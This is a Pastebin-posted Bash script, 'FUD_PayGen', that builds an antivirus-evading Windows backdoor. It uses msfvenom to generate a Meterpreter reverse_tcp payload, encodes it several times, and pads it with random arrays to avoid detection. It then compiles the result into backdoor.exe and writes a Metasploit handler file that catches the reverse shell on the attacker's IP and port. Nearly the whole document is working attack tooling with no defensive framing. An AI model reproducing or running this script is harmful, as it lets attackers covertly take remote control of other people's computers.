Sh3lLDu5T

FUD_PayGen

Mar 4th, 2015
279
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.81 KB | None | 0 0
  1. #!/bin/bash
  2. # Color Variables
  3. b='\033[1m'
  4. u='\033[4m'
  5. bl='\E[30m'
  6. redbold='\E[1;31m'
  7. red='\E[0;31m'
  8. green='\E[32m'
  9. yellow='\E[33m'
  10. bu='\E[34m'
  11. m='\E[35m'
  12. cyan='\E[36m'
  13. white='\E[37m'
  14. endc='\E[0m'
  15. enda='\033[0m'
  16. clear
  17. echo -e "$redbold
  18. ==================================
  19. ||                              ||
  20. ||         Sh3LlDu5t            ||
  21. ||   FUD PayL04d Gen3r4t0r      ||
  22. ||                              ||
  23. ==================================$endc
  24. "
  25. #Check root Priiledges
  26. if [ "$(id -u)" != "0" ]; then
  27.    echo -e "$red[!] This script must be run as root$endc" 1>&2
  28.    echo
  29.    echo
  30.    exit 1
  31. fi
  32. ###
  33. echo -e "$redbold -------------ifconfig------------------ $endc"
  34. int=$(ifconfig | cut -d" " -f1 | sort | grep -v '^$')
  35. for i in $int
  36. do
  37. echo -e "$redbold|$endc Interface $cyan $i $endc has IP $yellow $(ifconfig $i | grep 'inet addr:' | cut -d: -f2 | awk '{print $1}') $endc"
  38. done
  39. echo -e "$redbold --------------------------------------- $endc"
  40. echo
  41. echo -ne "WHat IP are we using: : "
  42. read IP
  43. echo -e "What Port Number are we gonna listen to? : \c"
  44. read port
  45. echo -e "Please enter a random seed number 1-10000, the larger the number the larger the resulting executable : \c"
  46. read seed
  47. echo -e "How many times you want to encode ? 1-20 : \c"
  48. read enumber
  49. rm -rf seclabs
  50. mkdir seclabs
  51. cd seclabs
  52. msfvenom -p windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port -e x86/shikata_ga_nai -i $enumber -f c > test.c
  53. #Replacing plus signs at the end of line (commented out bcoz ,msfvenom gives no plus signs)
  54. #sed -e 's/+/ /g' test.c > clean.c
  55. #sed -e 's/buf = /unsigned char micro[]=/g' test.c > ready.c
  56. echo "#include <stdio.h>" >> temp
  57. echo 'unsigned char ufs[]=' >> temp
  58. for (( i=1; i<=10000;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp2
  59. sed -i 's/$/"/' temp2
  60. sed -i 's/^/"/' temp2  
  61. echo  ';' >> temp2  
  62. cat temp2 >> temp
  63. cat test.c >> temp
  64. mv temp ready2.c
  65. echo ";" >> ready2.c
  66. echo "int main(void) { ((void (*)())buf)();}" >> ready2.c  
  67. mv ready2.c final.c
  68. echo 'unsigned char tap[]=' > temp3
  69. for (( i=1; i<=999999;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp4
  70. sed -i 's/$/"/' temp4
  71. sed -i 's/^/"/' temp4
  72. echo  ';' >> temp4
  73. cat temp4 >> temp3
  74. cat temp3 >> final.c  
  75. #Cleanup of junk useless files :P
  76. #rm -f clean.c
  77. rm -f test.c
  78. #rm -f ready.c
  79. rm -f rand.c
  80. rm -f temp2
  81. rm -f temp3
  82. rm -f temp4
  83. rm -f nul
  84.  
  85. # compiling..
  86. /usr/bin/i586-mingw32msvc-gcc -Wall final.c -o final.exe > /dev/null 2>&1
  87. mv final.exe backdoor.exe
  88. mv backdoor.exe ../backdoor.exe
  89. mv final.c ../backdoor_shellcode.c
  90. cd ..
  91. rm -rf seclabs/
  92. echo -e "$white Creating metasploit resource file..."
  93. echo -e "use exploit/multi/handler
  94. set PAYLOAD windows/meterpreter/reverse_tcp
  95. set LHOST $IP
  96. set LPORT $port
  97. exploit -j" > backdoor_handler.rc
Advertisement
Add Comment
Please, Sign In to add comment